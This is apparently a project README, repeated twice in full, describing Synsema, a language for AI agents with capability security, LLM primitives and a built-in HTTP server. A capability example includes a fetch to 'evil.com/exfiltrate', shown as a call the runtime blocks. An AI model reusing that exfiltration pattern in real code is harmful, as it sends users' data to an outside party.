A programming language designed for AI agents
See the codeA programming language designed for AI agents.
Synsema is not a framework or a library — it's a language where observability, security, multi-agent coordination, human interaction, and LLM integration are built-in primitives, not afterthoughts. It compiles to a single native binary: no runtime, no GIL, true multi-core.
Site: synsema.com · Docs: synsema.dev · The platform: synsema.com/platform · Learn by building: try.synsema.org · Changelog: CHANGELOG.md · Community: Discord
Synsema matches or beats Go — and adds deny-by-default security none of the mainstream stacks have. HTTP throughput, same workload, 50 concurrent connections:
| Endpoint | Synsema | Go (net/http) | |
|---|---|---|---|
/plaintext | 47.2k req/s | 42.8k | beats Go |
/health | 38.7k req/s | 39.4k | ties (98%) |
/json | 41.8k req/s | 40.7k | beats Go |
Synsema wins on plaintext and JSON and ties on health (run-to-run noise) — squarely in
Go's tier and well above interpreted stacks like FastAPI. Unlike all of them, Synsema
enforces capability security at the language level — no network, file, or DB access
without an explicit require, route auth and input validation are declarative, and there's
an automatic audit log. Security is a property of the language, not a discipline you have to
remember.
A single self-contained binary — no Python, no npm, nothing to install on the target.
# one-liner (Linux/macOS) — once a release is published
curl -fsSL https://synsema.com/install.sh | sh
# or from npm (Linux/macOS/Windows): the same native binary, no runtime involved
npm i -g synsema # then: synsema run app.syn
npx synsema run app.syn # per project, no global install
git clone https://github.com/kitecosmic/synsema.git
cd synsema
cargo build --release --manifest-path engine/Cargo.toml # → engine/target/release/synsema
Create hello.syn:
let name be "World"
print("Hello, " + name + "!")
task greet(person)
give "Welcome, " + person
print(greet("Alice"))
Run it:
synsema run hello.syn
The command is synsema (e.g. synsema run program.syn,
synsema serve app.syn).
synsema run program.syn # Run a program
synsema serve app.syn # Run a program that starts an HTTP server (blocks)
synsema run program.syn -v # Run with verbose output
synsema run program.syn --secure # Run in secure mode (all capabilities must be granted)
synsema run program.syn --provider anthropic # Use Claude as LLM engine
synsema run program.syn --grant net:api.example.com # Grant a capability
synsema run program.syn --audit # Show capability audit trail
synsema run program.fsyn # Run flat (document-style) syntax
synsema repl # Interactive mode
synsema check program.syn # Parse and validate without running
synsema tokens program.syn # Show token stream
synsema ast program.syn # Show abstract syntax tree
synsema testgen program.syn # Auto-generate and run tests
let name be "Alice"
let age be 30
let active be true
let items be [1, 2, 3]
let config be {"host": "localhost", "port": 8080}
task add(a, b)
give a + b
task factorial(n)
when n <= 1
give 1
otherwise
give n * factorial(n - 1)
when score >= 90
print("Excellent")
otherwise when score >= 70
print("Good")
otherwise
print("Keep trying")
each item in items
print(item)
match status
is "pending"
process()
is "done"
archive()
type Customer
name: text
email: text
balance: number
let c be Customer("Alice", "alice@example.com", 500)
print(name of c)
let result be data |> clean |> validate |> transform
Instead of loops, express what you want:
let expensive be where(products, is_expensive)
let names be collect(users, "name")
let doubled be apply(double, numbers)
let total be reduce(prices, add, 0)
let sorted be sort_by(products, get_price)
let groups be group_by(orders, get_status)
judge, v0.6.25+)Ask a System One model (Jev) typed questions about one value and get probabilities, not text — one call for the whole block, and a confidence your code can gate on:
require judge
let v be judge ticket
refund: whether "The customer is asking for money back"
team: choose "Which team should handle this?" between {"billing": "Payments", "technical": "Bugs"} or nothing
anger: rate "How frustrated is the customer?" across ["Calm", "Frustrated", "Very angry"]
when confidence of v.team < 0.8
approve "Route this ticket to " + text(v.team.choice) + "?"
judge is its own capability (require judge, not granted by llm), and offline it degrades to
available: false with confidence 0 — never an invented number. See .synsema-skill/judge.md.
Real, multi-core parallelism — no GIL. parallel_map runs a task over a list
concurrently, results in input order, with a bounded number of simultaneous workers:
let results be parallel_map(fetch_user, ids, 50) -- 50 at a time, order preserved
chunk splits a list into batches — the "10k as 10×1000, then merge" pattern:
let batches be chunk(items, 1000)
let partial be parallel_map(process_batch, batches, 10) -- 10 batches in parallel
let merged be flatten(partial)
parallel_map(task, list) returns the same result (and order) as apply(task, list) —
it only adds concurrency. Fail-fast: the first error cancels the rest and propagates
(wrap the task in try/recover to collect partial results instead).
A native, zero-dependency HTTP server (built on http.server). The runtime
enforces a consistent response contract, pagination, auth and input validation.
require serve(8080)
task check_token(token)
when token == "admin-key"
give {"role": "admin"}
give nothing
serve on 8080
auth with check_token
route "GET /products"
give sql("SELECT id, name, price FROM products") -- list → paginated envelope
route "GET /products/:id"
let rows be sql("SELECT * FROM products WHERE id = ?", [params.id])
when length(rows) == 0
give not_found("product not found") -- 404
give rows[0] -- map → object as-is
route "POST /products" requires auth
expect body {name: text, price: number} -- 400 if invalid
let b be json of request
sql_exec("INSERT INTO products (name, price) VALUES (?, ?)", [name of b, price of b])
give created(b) -- 201
require serve(PORT) — scoped to the port. Without it, serve on PORT fails with a clear error.request.json, request.body, request.headers, request.user, plus query and params maps.give <map> → the object as-is; give <list> → {"items", "count", "total", "cursor"}; scalar → as-is; nothing → null. Helpers: ok(x), created(x) (201), not_found(x) (404), fail(code, msg).limit 100, ?limit= / ?cursor=, total always present. For large tables use give paged("SELECT ...", [params]) — SQL LIMIT/OFFSET pushdown with an exact COUNT(*) total, nothing fully materialized.requires auth extracts the Authorization: Bearer token, calls the auth with task; nothing → 401, otherwise the value lands in request.user. A task declared with 2 parameters (token, request) also receives the request — that's how cookie sessions work (request.cookies, set_cookie/clear_cookie, argon2id passwords, JWT, TOTP).captoken_mint/captoken_attenuate/captoken_verify — delegation that can only narrow, attenuated offline without the root key) or a verified signed request (http_sign/http_signature_verify, a pinned profile of RFC 9421 — a stolen token is useless without the key), and the runtime meters that identity: rate limit per identity on top of the per-IP shield, and spend booked and capped per identity, including the ceiling a captoken delegated. Third-party OIDC (oidc_verify, RS256/ES256 + JWKS) covers "log in with Google" and cloud workload identity; /.well-known/synsema-auth publishes the mechanisms for agents that never read the docs. Since v0.6.28 the token is the ceiling: what a captoken does not carry is denied at use (a generic 403 insufficient permissions), also inside sandbox under blocks and run_program children; passkeys (webauthn_register/webauthn_verify) cover humans with device keys; a key is a portable identity (did:key, canonical_json, document_sign/document_verify as W3C Data Integrity, EdDSA JWTs verified by did); every unit of work can hand out a receipt — a Verifiable Credential derived from the audit, never written by the program — and every server publishes a signed Agent Card (A2A 1.0 shape) at /.well-known/agent-card.json.expect body {field: type} (text, number, bool, list, map) → 400 naming the bad field.405 (with Allow) for a known path on the wrong method, OPTIONS/HEAD handled, malformed JSON → 400.max_body "10mb" (or "unlimited"). Real bytes are counted (a lying Content-Length or chunked body can't evade it); over the limit → 413 with a clean connection close; large bodies stream to disk (read_body() / request.body_file), chunked supported.SYNSEMA_SERVE_WORKERS in the process environment.stream and send events over time (LLM tokens, feeds, MCP) — Content-Type: text/event-stream, flushed per event, client-disconnect-safe, with a max_streams concurrency cap (503 over the limit). stream and give are mutually exclusive per route.rate_limit N per second|minute|hour on the server (default) or per route (override; none to disable). Token bucket keyed by the real peer IP (not X-Forwarded-For), checked before auth, 429 + Retry-After + RateLimit-* over the limit, stale buckets purged.serve, on, route, auth, requires, expect, max_body, max_streams, stream, send are only special inside their construction — elsewhere they are ordinary names (let route be "/x" works).See .synsema-skill/serve.md for full details.
The async-native server adds, natively, what you'd normally put a reverse proxy in front for:
require serve(443)
serve on 443
domain "example.com"
tls auto "admin@example.com" -- auto-HTTPS: Let's Encrypt (ACME) + auto-renewal
redirect https -- also listen on :80 and 301 → https
route "GET /" ...
tls cert "./c.pem" key "./k.pem" (manual) or tls auto "email" (automatic
HTTPS via ACME — issuance + background renewal). TLS 1.2+ enforced, HSTS automatic, SNI.host "a.com" / host "*.tenant.com" blocks, each with its own
routes/static/auth/cert; dispatched by the Host header.proxy to "http://upstream" inside a route forwards the request.304, Range/206, gzip — on the static mounts.No external proxy, no extra processes — it's all in the one binary.
Two walls, and they answer different questions. Capabilities answer may this program touch the
network at all? Information-flow labels answer may this value leave? You can use the
first without the second; the second is opt-in (--labels) and always on under serve --attested.
Zero access by default. Declare what you need:
require net("api.example.com")
require file("/data/*")
let data be fetch("https://api.example.com/data")
let content be read_file("/data/report.csv")
--labels, v0.6.24+)Capabilities say what the program may reach. Labels say what a value may become. Mark it, and the engine follows it through every operation and every branch taken because of it:
let balance be private(1200, "app") -- belongs to the principal "app"
let doubled be balance * 2 -- still private: every operation propagates
give doubled -- label_violation: the response is a public sink
give declassify(doubled, "the total is shown to the account holder")
Every public sink — the HTTP response, files, the network, databases, processes, stdout — refuses a
labelled value and refuses the call itself when it sits under a branch that depended on private
data. The only way out is declassify(value, "reason"), which is recorded and listed by
synsema code check --json before the program runs: that listing is the review.
Off by default, so synsema run is unchanged. Turn it on with --labels, and it is always on
under serve --attested and inside a guest adapter. The full model, including the limits it does
not cover, is in the skill's labels.md.
require attest, serve --attested, v0.6.24+)For a confidential deployment: ask the platform for a document that binds what is running to the
code that is running (AWS Nitro, TDX/SEV-SNP via configfs-tsm, dstack; plus a mock driver for CI
that is never auto-detected). serve --attested generates a P-256 identity before the program's
first statement, binds it and a hash of the program and its configuration into the document, serves
TLS with that key, and publishes GET /.well-known/attestation. The client side is
attestation_verify(document, opts).
Deny-by-default like every other capability, and absent from every packaged ceiling, so
--deterministic denies it on its own. synsema run --attest is the job form: one JSON
artefact binding program, input, output and configuration, verifiable offline. The whole
surface — the five builtins, which drivers have been exercised on hardware and which have not,
and what a client must check — is in the skill's attestation.md.
Declare what your program is for. The intent is a human-readable description, used for auditing and as context for the LLM. It can be written in any language:
intent: "Read customer data from api.shop.com and generate reports"
The intent is descriptive — it does not authorize actions. Security is enforced by capabilities, which are explicit and predictable:
require net("api.shop.com")
fetch("https://api.shop.com/customers") -- works: capability granted
fetch("https://evil.com/exfiltrate") -- BLOCKED: no capability for evil.com
There is exactly one authorization model — capabilities — so behavior never depends on guessing the meaning of prose. The intent is frozen after declaration: a prompt injection cannot redeclare a broader intent.
Tasks run in their own sandbox:
task fetch_orders()
require net("api.shop.com")
give fetch("https://api.shop.com/orders")
-- fetch_orders can ONLY access api.shop.com
-- even if the program has broader net capabilities
The LLM is the reasoning engine, swappable like a database driver:
let analysis be analyze sales_data for "trends"
let action be decide between ["refund", "replace"] given complaint
let response be generate "email" given ticket with tone = "empathetic"
Configure the provider:
synsema run program.syn --provider anthropic # Claude
synsema run program.syn --provider openai # GPT
synsema run program.syn --provider ollama # Local model
Approval gates, questions, and confirmations are language primitives:
approve "Deploy to production?"
let choice be ask "Which environment?" with ["staging", "prod"]
confirm "Send email to 500 customers?"
show preview as "Email Preview"
agent Researcher
require net("*.wikipedia.org")
task search(query)
let data be fetch(query)
share data as "research"
agent Writer
observe "research" as data
let report be generate "report" given data
spawn Researcher with query = "AI safety"
Agents coordinate via:
trace "payment_processing"
log "Processing order " + order_id
measure "db_query"
let result be query(sql)
checkpoint "after_query"
When something fails, you get:
ERROR: orders.syn:12:16: Division by zero
Location: orders.syn:12:16
Intent: Calculate order totals
Source:
>> 12 | give total / units
Variables at failure:
order = {customer: Alice, quantity: 0, price: 100}
Suggestions:
1. Add a guard: when quantity != 0
2. Add invariant: quantity > 0
Category: data
Recoverable: yes
The runtime tries to recover before failing:
create_progress("sync", ["fetch", "validate", "update"])
start_step("sync", "fetch")
complete_step("sync", "fetch", "100 items")
-- If the agent crashes, resume_point("sync") returns where to continue
remember("preference", "Customer prefers formal tone", ["communication"])
remember("learning", "API is slow on Mondays", ["api"])
let prefs be recall("preference", ["communication"])
add_rule("max_discount", "must", "discount <= 0.20", "pricing")
add_rule("formal_tone", "prefer", "Use formal tone", "communication")
let violations be check_rules("pricing", {"discount": 0.25})
Rule levels: must (hard block), should (warning), avoid (preference against), prefer (preference for).
For document-style readability, use .fsyn files:
task process_order(order):
When amount of order > 1000, approve "Large order".
Otherwise, log "Standard order".
Then give "processed".
end
synsema testgen program.syn
Automatically generates edge-case tests from your types and task signatures:
A conformance corpus plus unit and integration tests:
cargo test --manifest-path engine/Cargo.toml --workspace
Language-level .syn tests (using assert / test "...") run with the binary:
synsema test tests/ # runs tests/*.test.syn
A single native binary — no external runtime. The engine is organized into focused
modules under engine/crates/:
engine/crates/
├── synsema-core/ # lexer, parser, AST, types, interpreter, templates
├── synsema-capabilities/ # capability model + intent enforcement
├── synsema-stdlib/ # http, database, cron, server, ACME, mimetypes
├── synsema-agents/ # blackboard, swarm, memory, progress, resource locking
├── synsema-runtime/ # execution engine, serve, parallelism, recovery, persistence, daemon
├── synsema-llm/ # LLM provider, context, validator, human interaction
└── synsema-cli/ # the `synsema` command: run, serve, check, repl, ast, tokens, daemon
The interpreter is synchronous; concurrency (parallel_map) and the web server are
async layers around it. spawn agents use OS threads.
A VS Code–family extension highlights .syn / .fsyn (works in VS Code, Cursor, Windsurf,
VSCodium). Install it without cloning the repo:
curl -L -o synsema.vsix https://github.com/kitecosmic/synsema/releases/latest/download/synsema-vscode.vsix
code --install-extension synsema.vsix # or: cursor / windsurf --install-extension
Source and details: editors/vscode/.
Synsema includes a structured skill so AI coding assistants can learn the language. The skill is organized as an indexed folder — the AI reads only the sections it needs.
# From the repo
cd synsema && bash install-skill.sh
# Or remote
curl -s https://raw.githubusercontent.com/kitecosmic/synsema/main/install-skill.sh | bash
That's it — Claude Code auto-detects the skill via its SKILL.md frontmatter. No
CLAUDE.md edit needed: just open a .syn/.fsyn file or type /synsema, and the
relevant reference sections load on demand.
The skill lives in .synsema-skill/ and is organized by topic:
| File | When to read |
|---|---|
| INDEX.md | Always read first — points to everything else |
| syntax.md | Writing or reading .syn code — keywords, operators, statement patterns |
| builtins.md | Need to know what functions exist — all built-in tasks with signatures |
| types.md | Working with data — type system, property access, truthiness |
| capabilities.md | Adding security — require, sandbox, intent, per-task scoping |
| agents.md | Multi-agent work — blackboard, swarm, signals, resource locks |
| llm.md | Using AI reasoning — reason, decide, analyze, generate, providers |
| human.md | Human interaction — approve, confirm, ask, escalation |
| observability.md | Debugging — trace, log, measure, error diagnostics, recovery |
| memory.md | Agent persistence — progress tracking, memory, owner rules |
| patterns.md | Common idioms — safe division, pipe chains, intentional ops |
| structure.md | Understanding the codebase — file map with entry points |
Point the tool at .synsema-skill/INDEX.md in the repo root. Each tool has its own way to add context:
.synsema-skill/ to your project rules or docsWhen Synsema connects to an LLM, responses are validated automatically:
decide responses must be exactly one of the given optionsparallel_map / chunk, bounded fan-out)serve on PORT)stream / send)rate_limit N per <window>, token bucket, per-IP)sql / db_open)synsema-wasm, wasm32-wasip1): the pure profile for TEEs / confidential jobs / edgesynsema-wasm-web, @synsema/wasm): browser, Node/Bun, Python, Go — the host lends http/kv/llm; serve in handler mode for edge runtimesApache License 2.0. The code is free to use, modify, and distribute, with an explicit patent grant.
Trademark: "Synsema" is a project trademark. The license covers the code, not the name — forks and derivative works must use a different name (see NOTICE).
292 commits
Rust
98.1%
JavaScript
1.3%
A programming language designed for AI agents
See the codeA programming language designed for AI agents.
Synsema is not a framework or a library — it's a language where observability, security, multi-agent coordination, human interaction, and LLM integration are built-in primitives, not afterthoughts. It compiles to a single native binary: no runtime, no GIL, true multi-core.
Site: synsema.com · Docs: synsema.dev · The platform: synsema.com/platform · Learn by building: try.synsema.org · Changelog: CHANGELOG.md · Community: Discord
Synsema matches or beats Go — and adds deny-by-default security none of the mainstream stacks have. HTTP throughput, same workload, 50 concurrent connections:
| Endpoint | Synsema | Go (net/http) | |
|---|---|---|---|
/plaintext | 47.2k req/s | 42.8k | beats Go |
/health | 38.7k req/s | 39.4k | ties (98%) |
/json | 41.8k req/s | 40.7k | beats Go |
Synsema wins on plaintext and JSON and ties on health (run-to-run noise) — squarely in
Go's tier and well above interpreted stacks like FastAPI. Unlike all of them, Synsema
enforces capability security at the language level — no network, file, or DB access
without an explicit require, route auth and input validation are declarative, and there's
an automatic audit log. Security is a property of the language, not a discipline you have to
remember.
A single self-contained binary — no Python, no npm, nothing to install on the target.
# one-liner (Linux/macOS) — once a release is published
curl -fsSL https://synsema.com/install.sh | sh
# or from npm (Linux/macOS/Windows): the same native binary, no runtime involved
npm i -g synsema # then: synsema run app.syn
npx synsema run app.syn # per project, no global install
git clone https://github.com/kitecosmic/synsema.git
cd synsema
cargo build --release --manifest-path engine/Cargo.toml # → engine/target/release/synsema
Create hello.syn:
let name be "World"
print("Hello, " + name + "!")
task greet(person)
give "Welcome, " + person
print(greet("Alice"))
Run it:
synsema run hello.syn
The command is synsema (e.g. synsema run program.syn,
synsema serve app.syn).
synsema run program.syn # Run a program
synsema serve app.syn # Run a program that starts an HTTP server (blocks)
synsema run program.syn -v # Run with verbose output
synsema run program.syn --secure # Run in secure mode (all capabilities must be granted)
synsema run program.syn --provider anthropic # Use Claude as LLM engine
synsema run program.syn --grant net:api.example.com # Grant a capability
synsema run program.syn --audit # Show capability audit trail
synsema run program.fsyn # Run flat (document-style) syntax
synsema repl # Interactive mode
synsema check program.syn # Parse and validate without running
synsema tokens program.syn # Show token stream
synsema ast program.syn # Show abstract syntax tree
synsema testgen program.syn # Auto-generate and run tests
let name be "Alice"
let age be 30
let active be true
let items be [1, 2, 3]
let config be {"host": "localhost", "port": 8080}
task add(a, b)
give a + b
task factorial(n)
when n <= 1
give 1
otherwise
give n * factorial(n - 1)
when score >= 90
print("Excellent")
otherwise when score >= 70
print("Good")
otherwise
print("Keep trying")
each item in items
print(item)
match status
is "pending"
process()
is "done"
archive()
type Customer
name: text
email: text
balance: number
let c be Customer("Alice", "alice@example.com", 500)
print(name of c)
let result be data |> clean |> validate |> transform
Instead of loops, express what you want:
let expensive be where(products, is_expensive)
let names be collect(users, "name")
let doubled be apply(double, numbers)
let total be reduce(prices, add, 0)
let sorted be sort_by(products, get_price)
let groups be group_by(orders, get_status)
judge, v0.6.25+)Ask a System One model (Jev) typed questions about one value and get probabilities, not text — one call for the whole block, and a confidence your code can gate on:
require judge
let v be judge ticket
refund: whether "The customer is asking for money back"
team: choose "Which team should handle this?" between {"billing": "Payments", "technical": "Bugs"} or nothing
anger: rate "How frustrated is the customer?" across ["Calm", "Frustrated", "Very angry"]
when confidence of v.team < 0.8
approve "Route this ticket to " + text(v.team.choice) + "?"
judge is its own capability (require judge, not granted by llm), and offline it degrades to
available: false with confidence 0 — never an invented number. See .synsema-skill/judge.md.
Real, multi-core parallelism — no GIL. parallel_map runs a task over a list
concurrently, results in input order, with a bounded number of simultaneous workers:
let results be parallel_map(fetch_user, ids, 50) -- 50 at a time, order preserved
chunk splits a list into batches — the "10k as 10×1000, then merge" pattern:
let batches be chunk(items, 1000)
let partial be parallel_map(process_batch, batches, 10) -- 10 batches in parallel
let merged be flatten(partial)
parallel_map(task, list) returns the same result (and order) as apply(task, list) —
it only adds concurrency. Fail-fast: the first error cancels the rest and propagates
(wrap the task in try/recover to collect partial results instead).
A native, zero-dependency HTTP server (built on http.server). The runtime
enforces a consistent response contract, pagination, auth and input validation.
require serve(8080)
task check_token(token)
when token == "admin-key"
give {"role": "admin"}
give nothing
serve on 8080
auth with check_token
route "GET /products"
give sql("SELECT id, name, price FROM products") -- list → paginated envelope
route "GET /products/:id"
let rows be sql("SELECT * FROM products WHERE id = ?", [params.id])
when length(rows) == 0
give not_found("product not found") -- 404
give rows[0] -- map → object as-is
route "POST /products" requires auth
expect body {name: text, price: number} -- 400 if invalid
let b be json of request
sql_exec("INSERT INTO products (name, price) VALUES (?, ?)", [name of b, price of b])
give created(b) -- 201
require serve(PORT) — scoped to the port. Without it, serve on PORT fails with a clear error.request.json, request.body, request.headers, request.user, plus query and params maps.give <map> → the object as-is; give <list> → {"items", "count", "total", "cursor"}; scalar → as-is; nothing → null. Helpers: ok(x), created(x) (201), not_found(x) (404), fail(code, msg).limit 100, ?limit= / ?cursor=, total always present. For large tables use give paged("SELECT ...", [params]) — SQL LIMIT/OFFSET pushdown with an exact COUNT(*) total, nothing fully materialized.requires auth extracts the Authorization: Bearer token, calls the auth with task; nothing → 401, otherwise the value lands in request.user. A task declared with 2 parameters (token, request) also receives the request — that's how cookie sessions work (request.cookies, set_cookie/clear_cookie, argon2id passwords, JWT, TOTP).captoken_mint/captoken_attenuate/captoken_verify — delegation that can only narrow, attenuated offline without the root key) or a verified signed request (http_sign/http_signature_verify, a pinned profile of RFC 9421 — a stolen token is useless without the key), and the runtime meters that identity: rate limit per identity on top of the per-IP shield, and spend booked and capped per identity, including the ceiling a captoken delegated. Third-party OIDC (oidc_verify, RS256/ES256 + JWKS) covers "log in with Google" and cloud workload identity; /.well-known/synsema-auth publishes the mechanisms for agents that never read the docs. Since v0.6.28 the token is the ceiling: what a captoken does not carry is denied at use (a generic 403 insufficient permissions), also inside sandbox under blocks and run_program children; passkeys (webauthn_register/webauthn_verify) cover humans with device keys; a key is a portable identity (did:key, canonical_json, document_sign/document_verify as W3C Data Integrity, EdDSA JWTs verified by did); every unit of work can hand out a receipt — a Verifiable Credential derived from the audit, never written by the program — and every server publishes a signed Agent Card (A2A 1.0 shape) at /.well-known/agent-card.json.expect body {field: type} (text, number, bool, list, map) → 400 naming the bad field.405 (with Allow) for a known path on the wrong method, OPTIONS/HEAD handled, malformed JSON → 400.max_body "10mb" (or "unlimited"). Real bytes are counted (a lying Content-Length or chunked body can't evade it); over the limit → 413 with a clean connection close; large bodies stream to disk (read_body() / request.body_file), chunked supported.SYNSEMA_SERVE_WORKERS in the process environment.stream and send events over time (LLM tokens, feeds, MCP) — Content-Type: text/event-stream, flushed per event, client-disconnect-safe, with a max_streams concurrency cap (503 over the limit). stream and give are mutually exclusive per route.rate_limit N per second|minute|hour on the server (default) or per route (override; none to disable). Token bucket keyed by the real peer IP (not X-Forwarded-For), checked before auth, 429 + Retry-After + RateLimit-* over the limit, stale buckets purged.serve, on, route, auth, requires, expect, max_body, max_streams, stream, send are only special inside their construction — elsewhere they are ordinary names (let route be "/x" works).See .synsema-skill/serve.md for full details.
The async-native server adds, natively, what you'd normally put a reverse proxy in front for:
require serve(443)
serve on 443
domain "example.com"
tls auto "admin@example.com" -- auto-HTTPS: Let's Encrypt (ACME) + auto-renewal
redirect https -- also listen on :80 and 301 → https
route "GET /" ...
tls cert "./c.pem" key "./k.pem" (manual) or tls auto "email" (automatic
HTTPS via ACME — issuance + background renewal). TLS 1.2+ enforced, HSTS automatic, SNI.host "a.com" / host "*.tenant.com" blocks, each with its own
routes/static/auth/cert; dispatched by the Host header.proxy to "http://upstream" inside a route forwards the request.304, Range/206, gzip — on the static mounts.No external proxy, no extra processes — it's all in the one binary.
Two walls, and they answer different questions. Capabilities answer may this program touch the
network at all? Information-flow labels answer may this value leave? You can use the
first without the second; the second is opt-in (--labels) and always on under serve --attested.
Zero access by default. Declare what you need:
require net("api.example.com")
require file("/data/*")
let data be fetch("https://api.example.com/data")
let content be read_file("/data/report.csv")
--labels, v0.6.24+)Capabilities say what the program may reach. Labels say what a value may become. Mark it, and the engine follows it through every operation and every branch taken because of it:
let balance be private(1200, "app") -- belongs to the principal "app"
let doubled be balance * 2 -- still private: every operation propagates
give doubled -- label_violation: the response is a public sink
give declassify(doubled, "the total is shown to the account holder")
Every public sink — the HTTP response, files, the network, databases, processes, stdout — refuses a
labelled value and refuses the call itself when it sits under a branch that depended on private
data. The only way out is declassify(value, "reason"), which is recorded and listed by
synsema code check --json before the program runs: that listing is the review.
Off by default, so synsema run is unchanged. Turn it on with --labels, and it is always on
under serve --attested and inside a guest adapter. The full model, including the limits it does
not cover, is in the skill's labels.md.
require attest, serve --attested, v0.6.24+)For a confidential deployment: ask the platform for a document that binds what is running to the
code that is running (AWS Nitro, TDX/SEV-SNP via configfs-tsm, dstack; plus a mock driver for CI
that is never auto-detected). serve --attested generates a P-256 identity before the program's
first statement, binds it and a hash of the program and its configuration into the document, serves
TLS with that key, and publishes GET /.well-known/attestation. The client side is
attestation_verify(document, opts).
Deny-by-default like every other capability, and absent from every packaged ceiling, so
--deterministic denies it on its own. synsema run --attest is the job form: one JSON
artefact binding program, input, output and configuration, verifiable offline. The whole
surface — the five builtins, which drivers have been exercised on hardware and which have not,
and what a client must check — is in the skill's attestation.md.
Declare what your program is for. The intent is a human-readable description, used for auditing and as context for the LLM. It can be written in any language:
intent: "Read customer data from api.shop.com and generate reports"
The intent is descriptive — it does not authorize actions. Security is enforced by capabilities, which are explicit and predictable:
require net("api.shop.com")
fetch("https://api.shop.com/customers") -- works: capability granted
fetch("https://evil.com/exfiltrate") -- BLOCKED: no capability for evil.com
There is exactly one authorization model — capabilities — so behavior never depends on guessing the meaning of prose. The intent is frozen after declaration: a prompt injection cannot redeclare a broader intent.
Tasks run in their own sandbox:
task fetch_orders()
require net("api.shop.com")
give fetch("https://api.shop.com/orders")
-- fetch_orders can ONLY access api.shop.com
-- even if the program has broader net capabilities
The LLM is the reasoning engine, swappable like a database driver:
let analysis be analyze sales_data for "trends"
let action be decide between ["refund", "replace"] given complaint
let response be generate "email" given ticket with tone = "empathetic"
Configure the provider:
synsema run program.syn --provider anthropic # Claude
synsema run program.syn --provider openai # GPT
synsema run program.syn --provider ollama # Local model
Approval gates, questions, and confirmations are language primitives:
approve "Deploy to production?"
let choice be ask "Which environment?" with ["staging", "prod"]
confirm "Send email to 500 customers?"
show preview as "Email Preview"
agent Researcher
require net("*.wikipedia.org")
task search(query)
let data be fetch(query)
share data as "research"
agent Writer
observe "research" as data
let report be generate "report" given data
spawn Researcher with query = "AI safety"
Agents coordinate via:
trace "payment_processing"
log "Processing order " + order_id
measure "db_query"
let result be query(sql)
checkpoint "after_query"
When something fails, you get:
ERROR: orders.syn:12:16: Division by zero
Location: orders.syn:12:16
Intent: Calculate order totals
Source:
>> 12 | give total / units
Variables at failure:
order = {customer: Alice, quantity: 0, price: 100}
Suggestions:
1. Add a guard: when quantity != 0
2. Add invariant: quantity > 0
Category: data
Recoverable: yes
The runtime tries to recover before failing:
create_progress("sync", ["fetch", "validate", "update"])
start_step("sync", "fetch")
complete_step("sync", "fetch", "100 items")
-- If the agent crashes, resume_point("sync") returns where to continue
remember("preference", "Customer prefers formal tone", ["communication"])
remember("learning", "API is slow on Mondays", ["api"])
let prefs be recall("preference", ["communication"])
add_rule("max_discount", "must", "discount <= 0.20", "pricing")
add_rule("formal_tone", "prefer", "Use formal tone", "communication")
let violations be check_rules("pricing", {"discount": 0.25})
Rule levels: must (hard block), should (warning), avoid (preference against), prefer (preference for).
For document-style readability, use .fsyn files:
task process_order(order):
When amount of order > 1000, approve "Large order".
Otherwise, log "Standard order".
Then give "processed".
end
synsema testgen program.syn
Automatically generates edge-case tests from your types and task signatures:
A conformance corpus plus unit and integration tests:
cargo test --manifest-path engine/Cargo.toml --workspace
Language-level .syn tests (using assert / test "...") run with the binary:
synsema test tests/ # runs tests/*.test.syn
A single native binary — no external runtime. The engine is organized into focused
modules under engine/crates/:
engine/crates/
├── synsema-core/ # lexer, parser, AST, types, interpreter, templates
├── synsema-capabilities/ # capability model + intent enforcement
├── synsema-stdlib/ # http, database, cron, server, ACME, mimetypes
├── synsema-agents/ # blackboard, swarm, memory, progress, resource locking
├── synsema-runtime/ # execution engine, serve, parallelism, recovery, persistence, daemon
├── synsema-llm/ # LLM provider, context, validator, human interaction
└── synsema-cli/ # the `synsema` command: run, serve, check, repl, ast, tokens, daemon
The interpreter is synchronous; concurrency (parallel_map) and the web server are
async layers around it. spawn agents use OS threads.
A VS Code–family extension highlights .syn / .fsyn (works in VS Code, Cursor, Windsurf,
VSCodium). Install it without cloning the repo:
curl -L -o synsema.vsix https://github.com/kitecosmic/synsema/releases/latest/download/synsema-vscode.vsix
code --install-extension synsema.vsix # or: cursor / windsurf --install-extension
Source and details: editors/vscode/.
Synsema includes a structured skill so AI coding assistants can learn the language. The skill is organized as an indexed folder — the AI reads only the sections it needs.
# From the repo
cd synsema && bash install-skill.sh
# Or remote
curl -s https://raw.githubusercontent.com/kitecosmic/synsema/main/install-skill.sh | bash
That's it — Claude Code auto-detects the skill via its SKILL.md frontmatter. No
CLAUDE.md edit needed: just open a .syn/.fsyn file or type /synsema, and the
relevant reference sections load on demand.
The skill lives in .synsema-skill/ and is organized by topic:
| File | When to read |
|---|---|
| INDEX.md | Always read first — points to everything else |
| syntax.md | Writing or reading .syn code — keywords, operators, statement patterns |
| builtins.md | Need to know what functions exist — all built-in tasks with signatures |
| types.md | Working with data — type system, property access, truthiness |
| capabilities.md | Adding security — require, sandbox, intent, per-task scoping |
| agents.md | Multi-agent work — blackboard, swarm, signals, resource locks |
| llm.md | Using AI reasoning — reason, decide, analyze, generate, providers |
| human.md | Human interaction — approve, confirm, ask, escalation |
| observability.md | Debugging — trace, log, measure, error diagnostics, recovery |
| memory.md | Agent persistence — progress tracking, memory, owner rules |
| patterns.md | Common idioms — safe division, pipe chains, intentional ops |
| structure.md | Understanding the codebase — file map with entry points |
Point the tool at .synsema-skill/INDEX.md in the repo root. Each tool has its own way to add context:
.synsema-skill/ to your project rules or docsWhen Synsema connects to an LLM, responses are validated automatically:
decide responses must be exactly one of the given optionsparallel_map / chunk, bounded fan-out)serve on PORT)stream / send)rate_limit N per <window>, token bucket, per-IP)sql / db_open)synsema-wasm, wasm32-wasip1): the pure profile for TEEs / confidential jobs / edgesynsema-wasm-web, @synsema/wasm): browser, Node/Bun, Python, Go — the host lends http/kv/llm; serve in handler mode for edge runtimesApache License 2.0. The code is free to use, modify, and distribute, with an explicit patent grant.
Trademark: "Synsema" is a project trademark. The license covers the code, not the name — forks and derivative works must use a different name (see NOTICE).
292 commits
Rust
98.1%
JavaScript
1.3%